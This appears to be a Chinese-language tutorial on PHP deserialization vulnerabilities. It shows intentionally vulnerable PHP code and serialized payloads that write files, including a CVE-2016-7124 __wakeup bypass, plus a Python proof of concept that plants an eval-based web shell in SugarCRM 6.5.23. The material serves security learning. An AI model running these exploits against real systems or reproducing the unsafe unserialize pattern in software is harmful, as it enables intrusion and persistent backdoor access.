PHP反序列化漏洞

基本概念

漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码有能够被我们控制,漏洞就这样产生了,根据不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<title>PHP反序列化</title>
</head>
<body>
<?php
class A{
var $a = "test";
function __destruct(){
$fp = fopen("E:\\phpStudy\\WWW\\1.php","w");
fputs($fp,$this->a);
fclose($fp);
}
}
$test = $_POST['test'];
$test_unser = unserialize($test);
?>
</body>
</html>

上述代码使用了php的magic方法destruct(详情参考PHP: Magic Methods),而destruct是当一个对象被销毁时被自动调用的析构方法。
然后unserialize中参数可控,这样我们就可以构造一个序列化的对象A来控制其中的变量a的值,最终会产生漏洞。

漏洞利用

构造一个序列化的对象A并给其中变量a赋值为<?php phpinfo();?>如下:

1
test=O:1:"A":1:{s:1:"a";s:18:"<?php phpinfo();?>";}


如上成功将<?php phpinfo();?>写入1.php.

实例利用

基础准备

PHP之前爆出了一个漏洞(CVE-2016-7124 ),简单来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。Demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<html>
<head>
<title>PHP</title>
</head>
<body>
<?php
class A{
var $a = "test";
function __destruct(){
$fp = fopen("E:\\phpStudy\\WWW\\1.php","w");
fputs($fp,$this->a);
fclose($fp);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up...\n";
}
}
$test = $_POST['test'];
$test_unser = unserialize($test);
?>
</body>
</html>

我们再次使用之前的payload测试,结果如下:

发现__wakeup函数成功执行,清除了对象属性,从而1.php内容也为空了。

漏洞利用

根据CVE-2016-7124的原理,将上面payload中A的个数变成2或者大于2的数字如下:

1
test=O:1:”A”:2:{s:1:”a”;s:18:”<?php phpinfo();?>”;}

然后再次执行发现绕过了__wakeup函数,成功将phpinfo()写入1.php

SugarCRM v6.5.23 PHP反序列化

漏洞分析:SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析
漏洞环境:SugarCRM v6.5.23

POC:

1
2
3
4
5
6
7
8
9
10
11
import requests as req

url = 'http://127.0.0.1/sugarcrm_dev-6.5.23/service/v4/rest.php'

data = {
'method': 'login',
'input_type': 'Serialize',
'rest_data': 'O:+14:"SugarCacheFile":23:{S:17:"\\00*\\00_cacheFileName";s:15:"../custom/1.php";S:16:"\\00*\\00_cacheChanged";b:1;S:14:"\\00*\\00_localStore";a:1:{i:0;s:29:"<?php eval($_POST[\'HHH\']); ?>";}}',
}

req.post(url, data=data)

脚本执行后shell位于custom/1.php:

Java反序列化漏洞(待续)

Reference

SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析
PHP反序列化漏洞与CVE-2016-7124